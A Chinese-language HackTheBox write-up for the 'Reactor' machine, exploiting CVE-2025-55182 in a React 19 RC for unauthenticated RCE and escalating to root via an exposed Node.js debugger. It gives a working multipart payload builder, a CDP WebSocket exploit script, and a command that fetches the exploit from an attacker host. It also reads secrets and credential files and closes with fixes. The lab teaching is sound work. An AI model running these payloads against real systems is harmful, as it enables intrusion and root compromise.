HTB Reactor 机器的完整演练 — 利用 CVE-2025-55182 获取 shell,然后通过暴露的 Node.js 调试器获取 root 权限。附带截图的分步指南。
[!CAUTION] 剧透警告。 这是一份包含 flag 的完整通关攻略。如果你想自行攻克这台机器,请立即关闭本文,卡住时再回来。
| 字段 | 详情 |
|---|---|
| 名称 | Reactor |
| 操作系统 | Ubuntu 24.04 LTS (Noble) |
| 难度 | 中等 |
| CVE | CVE-2025-55182 (CVSS 10.0) |
| 端口 | 22 (SSH), 3000 (Next.js) |
| 作者 | sonnycroco |
Reactor 的主题是一个名为 ReactorWatch 的核电站监控仪表盘。这台机器完全围绕两个串联起来的漏洞展开——没有猜测,没有误导分支,没有暴力破解。
攻击路径:一个预发布版的 React 19 构建暴露了严重的反序列化缺陷,仅需一次 HTTP 请求即可获得未授权远程代码执行。由此,一个以 root 运行的 Node.js 调试端口,通过一条 WebSocket 消息让你获得完整的系统访问权。
攻击链:
Unauthenticated HTTP POST
│
│ CVE-2025-55182 - React RSC multipart deserialization
▼
RCE as node (uid=999)
│
│ Root Node.js process with --inspect exposed on localhost
▼
CDP Runtime.evaluate -> RCE as root (uid=0)
│
├── user.txt ✓
└── root.txt ✓
node 身份四处探查在任何一台新机器上,第一件事都是找出当前开放的端口。进行一次包含服务检测的完整端口扫描,确保不会遗漏任何内容。
nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open http Next.js 15.0.3

只有两个端口。现阶段我们还没有任何凭据,所以 SSH 是死路一条,端口 3000 才是目标。Nmap 已经告诉我们它是 Next.js 15.0.3,这是一个很好的突破口。
在向任何目标发起利用之前,我需要确切知道所有正在运行的组件的版本。HTTP 响应头已经揭示了 Next.js,但 React 版本才是关键细节。React 19 在很长一段时间内处于预发布状态,在稳定版发布之前存在一些严重问题。
拉取一个客户端 JavaScript 分块来检查:
curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
| grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106
版本字符串中的 rc 就是铁证。这是 React 19 的发布候选(RC)构建,而非稳定版本。CVE 数据库证实:CVE-2025-55182 正是影响这个构建,CVSS 10.0。
顺带检查一下响应头中是否有中间件的线索:
X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1
任何地方都没有 x-middleware-rewrite 响应头,这意味着没有安装 Next.js 中间件。这排除了 CVE-2025-29927(中间件绕过),值得注意,免得你在错误的方向浪费时间。
目前已知信息:
experimental.serverActions19.0.0-rc,受 CVE-2025-55182 影响
React 19 的 Server Components 引入了 Server Actions,这是客户端通过包含 Next-Action 头的 HTTP POST 即可调用的服务端函数。处理这些请求的 multipart 正文解析器存在一个关键缺陷:它会对名为 $1:__proto__:then 的引用类型进行不安全的反序列化。
通过构造一个将 _response._prefix 设为任意 JavaScript 的 multipart 正文,攻击者可以让该代码在服务器上被执行。随后,输出通过 Next.js 内部用于重定向的异常(NEXT_REDIRECT)被夹带出来,并最终以 URL 编码的形式出现在 x-action-redirect 响应头中。
任何带 Next-Action 头的 POST 到任何页面都会触发该漏洞。没有认证检查,没有特殊端点。只需向 / 发送 payload,你就进去了。
一个小型 Python 辅助脚本,将 shell 命令作为输入,构造 multipart payload,并写入磁盘供 curl 发送:
# /tmp/make_rce.py
import sys
cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")
payload = (
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="0"\r\n\r\n'
+ ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
'"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
'"var res=process.mainModule.require(\'child_process\').execSync(\''
+ cmd_esc +
'\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
'{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
'"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
+ b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="1"\r\n\r\n'
b'"$@0"\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
b'Content-Disposition: form-data; name="2"\r\n\r\n'
b'[]\r\n'
b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
f.write(payload)
为了让操作更有伪终端的感觉,将整个流程包装为一个 shell 函数:
rce() {
python3 /tmp/make_rce.py "$*" > /dev/null
curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
-H "Next-Action: x" \
-H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
--data-binary "@/tmp/rce_payload.bin" > /dev/null
grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
| python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}
下面是原始 HTTP 交互。命令输出就明晃晃地位于重定向头中:
POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
[... multipart body ...]
HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push
rce "id"
# uid=999(node) gid=988(node) groups=988(node)
我们以 node 服务账号身份进到了里面。没有认证,没有暴力破解,没有社会工程学,只有一次 HTTP POST。这就是 CVSS 10.0 在实际中的样子。

[!WARNING] 继续之前需要知道两件事:
execSync是同步的,会阻塞响应线程。不要用它来生成反向 shell,改用异步的exec(),否则服务器会挂起。NEXT_REDIRECT模板字符串会在换行处断裂。在输出进入 URL 之前,始终用paste -sd,将多行输出压平。
node 身份四处探查代码执行能力已经建立,下一步目标是了解环境:这台机器上有什么,哪些凭据散落各处,以及是否存在通往更高权限用户的明显路径。
rce "cat /opt/reactor-app/.env | paste -sd,"
DB_PATH=/opt/reactor-app/reactor.db
SENSOR_API_KEY=rw_sk_7f8a9b2c3d4e5f6g7h8i9j0k
NODE_ENV=production
磁盘上有一个 SQLite 数据库。看看里面有什么:
rce "sqlite3 /opt/reactor-app/reactor.db 'SELECT * FROM users' | paste -sd,"
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|[email protected]
一个带 MD5 哈希的管理员账户。用 John 配合 rockyou 字典跑了一遍,没有破解。没关系,一旦我们找到真正的提权路径,哈希破解就变得没有必要。先把它放到一边,继续推进。
rce "cat /etc/passwd | grep -v nologin | grep -v false | paste -sd,"
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
有一个名为 engineer 的用户。用户 flag 就在其家目录中。
[!NOTE] 在这台机器的某些实例中,
/home/engineer/被设置为700权限,这意味着node服务账号无法直接读取它。如果遇到这种情况,别慌。第 6 步覆盖的 root 提权路径可以让你以 root 身份读取两个 flag。
rce "cat /home/engineer/user.txt"
f7b714f9fdf5c08a5f240668792aa13f
如果你所在实例的 /home/engineer/ 被锁定,直接跳到第 6 步,以 root 身份获取两个 flag。
立足点已经建立,检查机器上正在运行的进程。完整的 ps aux 输出很长,因此过滤出所有与 Node.js 相关的内容:
rce "ps aux | grep -E 'inspect|node' | paste -sd,"
node 1415 next-server (v15.0.3)
root 1417 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
就是它。第二个 Node.js 进程以 root 身份运行,并且是用 --inspect 标志启动、绑定到 127.0.0.1:9229。这是一个 uptime 监控脚本,有人在启用 Node.js 调试器的情况下启动了它,然后就一直让它运行着。
--inspect 标志会开启 Chrome DevTools 协议(CDP),也就是你浏览器开发者工具所用的同一协议。一旦连接上去,你就可以让该进程在其自身的 V8 上下文中执行任意 JavaScript。由于这个进程以 root 运行,你执行的任何东西也都会以 root 身份运行。
唯一的障碍是调试器绑定在 localhost,不过我们已经以 node 身份在这台机器上获得代码执行能力,因此访问它毫无问题。
确认调试器处于活动状态,并抓取 WebSocket URL:
rce "curl -s http://127.0.0.1:9229/json | paste -sd,"
[{
"description": "node.js instance",
"id": "1d85ee80-b525-4bdc-91c4-f52f7054294f",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/1d85ee80-b525-4bdc-91c4-f52f7054294f"
}]
[!IMPORTANT] WebSocket URL 中的 UUID(
1d85ee80-...)对每个进程实例都是独一无二的。你的环境会不同。运行前从 JSON 输出中复制它,并更新到利用脚本中。

要向调试器发送 Runtime.evaluate 命令,我们需要一个 WebSocket 客户端。目标机器上没有 ws npm 包,因此只使用 Node.js 内置模块从零编写一个最小实现:net 负责 TCP 连接,crypto 负责 WebSocket 帧掩码。
const net = require('net');
const crypto = require('crypto');
// Update WS_ID to match your instance's UUID from /json
const WS_ID = '1d85ee80-b525-4bdc-91c4-f52f7054294f';
const CMD = 'process.mainModule.require("child_process").execSync("cat /root/root.txt").toString()';
function encodeFrame(data) {
const payload = Buffer.from(data, 'utf8');
const mask = crypto.randomBytes(4);
let headerLen = (payload.length < 126) ? 6 : 8;
const header = Buffer.alloc(headerLen);
header[0] = 0x81;
if (payload.length < 126) {
header[1] = 0x80 | payload.length;
mask.copy(header, 2);
} else {
header[1] = 0xfe;
header.writeUInt16BE(payload.length, 2);
mask.copy(header, 4);
}
const masked = Buffer.alloc(payload.length);
const maskStart = headerLen - 4;
for (let i = 0; i < payload.length; i++) {
masked[i] = payload[i] ^ header[maskStart + (i % 4)];
}
return Buffer.concat([header, masked]);
}
const sock = net.createConnection({ port: 9229, host: '127.0.0.1' });
let upgraded = false, chunks = Buffer.alloc(0);
sock.on('connect', () => {
sock.write(
`GET /${WS_ID} HTTP/1.1\r\n` +
`Host: 127.0.0.1:9229\r\n` +
`Upgrade: websocket\r\n` +
`Connection: Upgrade\r\n` +
`Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n` +
`Sec-WebSocket-Version: 13\r\n\r\n`
);
});
sock.on('data', (data) => {
chunks = Buffer.concat([chunks, data]);
if (!upgraded) {
const str = chunks.toString('utf8');
const sep = str.indexOf('\r\n\r\n');
if (sep === -1) return;
upgraded = true;
chunks = chunks.slice(Buffer.byteLength(str.slice(0, sep + 4)));
const msg = JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: { expression: CMD, returnByValue: true }
});
sock.write(encodeFrame(msg));
return;
}
while (chunks.length > 2) {
const b1 = chunks[1] & 0x7f;
let payloadStart, payloadLen;
if (b1 < 126) { payloadLen = b1; payloadStart = 2; }
else { if (chunks.length < 4) return; payloadLen = chunks.readUInt16BE(2); payloadStart = 4; }
if (chunks.length < payloadStart + payloadLen) return;
process.stdout.write(chunks.slice(payloadStart, payloadStart + payloadLen).toString() + '\n');
sock.destroy();
process.exit(0);
}
});
sock.on('error', (e) => { process.stderr.write(e.message + '\n'); process.exit(1); });
setTimeout(() => { process.stderr.write('timeout\n'); process.exit(1); }, 8000);
[!WARNING] 在 CDP
Runtime.evaluate调用中,裸require()函数不在全局作用域内,即使worker.js本身是 CommonJS 模块也一样。必须使用process.mainModule.require(...)。直接使用require()会抛出 ReferenceError 并且不产生任何输出。
在攻击机上托管该脚本:
python3 -m http.server 8080 --directory /tmp/www &
通过 RCE 链在目标机上下载并运行它:
rce "curl -s http://<YOUR_IP>:8080/exploit.js -o /tmp/exploit.js && echo ok"
rce "node /tmp/exploit.js 2>&1 | paste -sd,"
响应:
{"id":1,"result":{"result":{"type":"string","value":"uid=0(root) gid=0(root) groups=0(root)\n"}}}
我们正在以 uid=0 运行的进程内部执行任意 JavaScript。

同一个利用代码,只是把 CMD 换成了不同的命令:
rce "node /tmp/exploit_root.js 2>&1 | paste -sd,"
{"id":1,"result":{"result":{"type":"string","value":"5c091a1960eb124c53910c1a1f456334\n"}}}
root.txt: 5c091a1960eb124c53910c1a1f456334

从第一次请求到拿到 root 的总耗时:一旦理解了该 CVE,不到 10 分钟。没有暴力破解,没有密码爆破,没有误导分支。
CVE-2025-29927(中间件绕过)和 CVE-2025-55182 几乎同时成为热点。在测试中间件绕过之前,一定要先确认中间件是否真的存在。x-middleware-rewrite 响应头的有无会立刻告诉你答案。在错误的 CVE 上浪费时间很容易。
execSync 会弄坏反向 shell它会阻塞整个服务器响应线程,直到子进程退出。通过它启动 bash -i 或 netcat shell 会导致两边都挂起。如果你需要通过这个利用代码获得交互式 shell,请改用 child_process 中的异步 exec()。
命令输出会被嵌入到一个 JavaScript 模板字符串中: NEXT_REDIRECT;push;/login?a=${res};307;。res 中的任何字面换行都会破坏模板字符串并导致无输出。在外带之前,将所有内容通过管道传给 paste -sd, 来合并成一行。
require 不是全局的当你向 Node.js 调试器发送 Runtime.evaluate 时,你是在一个 V8 隔离环境中执行,该环境不会把 CommonJS 的 require 函数暴露为全局,即使目标进程本身是一个 CommonJS 模块也是如此。在 CDP 表达式中始终使用 process.mainModule.require("module")。
在这台机器的某些实例中,node 服务账号可以直接读取 /home/engineer/user.txt;在其他实例中,家目录的 700 权限会阻止读取。而 root 提权路径始终有效,无论哪种情况都能让你拿到两个 flag。
| 漏洞 | 修复方案 |
|---|
| CVE-2025-55182 | 将 React 从 19.0.0-rc 升级到稳定的 React 19 正式版。将 Next.js 升级到 15.2.3 或更高版本。 |
以 root 运行 Node.js --inspect | 彻底移除所有生产进程中的 --inspect。在共享系统上,绝不要让调试器绑定任何地址,即使是 127.0.0.1 也不行。使用专用的隔离环境进行调试。 |
| 应用目录中的 SQLite 数据库 | 将数据库移到 Web 根目录之外。限制文件系统权限,使 Web 进程只能访问其严格必需的内容。 |